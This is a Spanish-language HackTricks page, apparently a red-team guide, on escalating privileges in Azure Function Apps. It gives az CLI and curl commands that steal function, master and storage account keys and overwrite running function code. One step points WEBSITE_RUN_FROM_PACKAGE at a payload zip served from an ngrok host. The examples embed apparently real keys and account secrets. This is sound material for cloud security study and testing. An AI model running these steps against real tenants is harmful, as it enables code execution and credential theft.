Az - Functions App Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Function Apps

Consulta la siguiente página para más información:

Az - Function Apps

Bucket Read/Write

Con permisos para leer los containers dentro de la Storage Account que almacena los datos de la function, es posible encontrar diferentes containers (personalizados o con nombres predefinidos) que podrían contener el code ejecutado por la function.

Una vez que encuentres dónde está ubicado el code de la function, si tienes permisos de escritura sobre él puedes hacer que la function ejecute cualquier code y escalar privilegios a las managed identities adjuntas a la function.

  • File Share (WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE))

El code de la function suele almacenarse dentro de un file share. Con suficiente acceso es posible modificar el archivo de code y hacer que la function load arbitrary code permitiendo escalar privilegios a las managed identities adjuntas a la Function.

Este método de deployment normalmente configura los settings WEBSITE_CONTENTAZUREFILECONNECTIONSTRING y WEBSITE_CONTENTSHARE which you can get from

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Esas configs contendrán la Storage Account Key que la Function puede usar para acceder al código.

Caution

Con permisos suficientes para conectarse al File Share y modificar el script que se está ejecutando, es posible ejecutar código arbitrario en la Function y escalar privilegios.

El siguiente ejemplo utiliza macOS para conectarse al file share, pero se recomienda revisar también la siguiente página para más información sobre file shares:

Az - File Shares

# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
  • function-releases (WEBSITE_RUN_FROM_PACKAGE)

También es común encontrar las zip releases dentro de la carpeta function-releases del contenedor de Storage Account que la function app está usando, en un contenedor usualmente llamado function-releases.

Normalmente este método de despliegue establecerá la configuración WEBSITE_RUN_FROM_PACKAGE en:

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Esta configuración suele contener una SAS URL para descargar el código desde el Storage Account.

Caution

Con permisos suficientes para conectarse al blob container que contiene el código en zip es posible ejecutar código arbitrario en la Function y escalar privilegios.

  • github-actions-deploy (WEBSITE_RUN_FROM_PACKAGE)

Al igual que en el caso anterior, si el despliegue se realiza vía Github Actions es posible encontrar la carpeta github-actions-deploy en el Storage Account que contiene un zip del código y una SAS URL al zip en la configuración WEBSITE_RUN_FROM_PACKAGE.

  • scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE)

Con permisos para leer los contenedores dentro del Storage Account que almacena los datos de la function es posible encontrar el contenedor scm-releases. Allí se puede encontrar la última release en Squashfs filesystem file format y por lo tanto es posible leer el código de la function:

# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table

# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table

# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip

También es posible encontrar las master and functions keys almacenadas en la storage account en el container azure-webjobs-secrets dentro de la carpeta <app-name> en los archivos JSON que puedes encontrar en su interior.

Caution

Con permisos suficientes para conectarse al blob container que contains the code in a zip extension file (que en realidad es un squashfs) es posible ejecutar código arbitrario en la Function y escalar privilegios.

# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite

Microsoft.Web/sites/host/listkeys/action

Este permiso permite listar las claves function, master y system, pero no la host, de la función especificada con:

az functionapp keys list --resource-group <res_group> --name <func-name>

Con la master key también es posible obtener el código fuente en una URL como:

# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v

Y para cambiar el código que se está ejecutando en la función con:

# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

Microsoft.Web/sites/functions/listKeys/action

Este permiso permite obtener la default key de la función especificada con:

az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"

Invoca la función utilizando la clave predeterminada obtenida:

curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"

Microsoft.Web/sites/host/functionKeys/write

Este permiso permite crear/actualizar una clave de función de la función especificada con:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/host/masterKey/write

Este permiso permite crear/actualizar una master key para la función especificada con:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Caution

Recuerda que con esta key también puedes acceder al código fuente y modificarlo como se explicó antes!

Microsoft.Web/sites/host/systemKeys/write

Este permiso permite crear/actualizar una system function key para la función especificada con:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Usa la clave:

# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"

# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"

Microsoft.Web/sites/config/list/action

Este permiso permite obtener la configuración de una función. Dentro de estas configuraciones podría ser posible encontrar los valores predeterminados AzureWebJobsStorage o WEBSITE_CONTENTAZUREFILECONNECTIONSTRING, que contienen una clave de cuenta para acceder al blob storage de la función con permisos COMPLETOS.

az functionapp config appsettings list --name <func-name> --resource-group <res-group>

Además, este permiso también permite obtener el SCM username and password (si está habilitado) con:

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"

Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write

Estos permisos permiten listar los valores de configuración de una función como hemos visto antes, además de modificar estos valores. Esto es útil porque estas configuraciones indican dónde se encuentra el código que se ejecuta dentro de la función.

Por lo tanto, es posible establecer el valor de la configuración WEBSITE_RUN_FROM_PACKAGE apuntando a un archivo zip en una URL que contenga el nuevo código a ejecutar dentro de una aplicación web:

  • Comienza por obtener la configuración actual
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
  • Crea el código que quieras que la función ejecute y alójalo públicamente
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
  • Modifica la función, mantén los parámetros anteriores y añade al final la configuración WEBSITE_RUN_FROM_PACKAGE apuntando a la URL con el zip que contiene el código.

La siguiente es un ejemplo de mis propias configuraciones que tendrás que cambiar por las tuyas, nota al final el valor "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip", aquí es donde alojaba la app.

# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'

Microsoft.Web/sites/hostruntime/vfs/write

Con este permiso es posible modificar el código de una aplicación a través de la consola web (o mediante el siguiente endpoint de la API):

# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body

# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");

const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";

context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'

Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)

Este permiso permite listar todos los publishing profiles que básicamente contienen basic auth credentials:

# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json

Otra opción sería configurar tus propios creds y usarlos con:

az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
  • Si las credenciales están REDACTED

Si ves que esas credenciales están REDACTED, es porque necesitas habilitar la opción SCM de autenticación básica y para eso necesitas el segundo permiso (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):

# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
  • Método SCM

Entonces, puedes acceder con estas basic auth credentials to the SCM URL de tu function app y obtener los valores de las env variables:

# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy

Nota que el SCM username suele ser el carácter “$” seguido del nombre de la app, así: $<app-name>.

También puedes acceder a la página web desde https://<app-name>.scm.azurewebsites.net/BasicAuth

Los valores de configuración contienen el AccountKey de la storage account que almacena los datos de la function app, lo que permite controlar esa storage account.

  • Método FTP

Conéctate al servidor FTP usando:

# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it

Tenga en cuenta que el FTP username suele tener el formato <app-name>\$<app-name>.

Microsoft.Web/sites/hostruntime/vfs/read

Este permiso permite leer el código fuente de la app a través del VFS:

az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"

Microsoft.Web/sites/functions/token/action

Con este permiso es posible get the admin token que posteriormente puede usarse para recuperar la master key y, por lo tanto, acceder y modificar el código de la función.

Sin embargo, en mis últimas comprobaciones no se devolvió ningún token, por lo que podría estar deshabilitado o ya no funcionar; pero aquí se muestra cómo lo harías:

# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"

Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)

Este permiso permite habilitar functions que podrían estar deshabilitadas (o deshabilitarlas).

# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"

También es posible ver si una función está habilitada o deshabilitada en la siguiente URL (usando el permiso entre paréntesis):

az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"

Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)

Con estos permisos es posible modificar el container run by a function app configurado para run a container. Esto permitiría a un atacante subir una azure function container app maliciosa a docker hub (por ejemplo) y hacer que la función la ejecute.

az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"

Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)

Con estos permisos es posible adjuntar una nueva identidad administrada de usuario a una función. Si la función fuera comprometida, esto permitiría escalar privilegios a cualquier identidad administrada de usuario.

az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>

Depuración remota

También es posible conectarse para depurar una Azure Function en ejecución como explained in the docs. Sin embargo, por defecto Azure desactivará esta opción pasados 2 días en caso de que el desarrollador la olvide, para evitar dejar configuraciones vulnerables.

Es posible comprobar si una Function tiene la depuración habilitada con:

az functionapp show --name <app-name> --resource-group <res-group>

Teniendo el permiso Microsoft.Web/sites/config/write también es posible poner una función en modo de depuración (el siguiente comando también requiere los permisos Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read y Microsoft.Web/sites/Read).

az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>

Cambiar repo de Github

Intenté cambiar el repo de Github desde donde ocurre el despliegue ejecutando los siguientes comandos, pero aunque cambió, el nuevo código no se cargó (probablemente porque espera que la Github Action actualice el código).
Además, la managed identity federated credential no se actualizó para permitir el nuevo repositorio, así que parece que esto no es muy útil.

# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks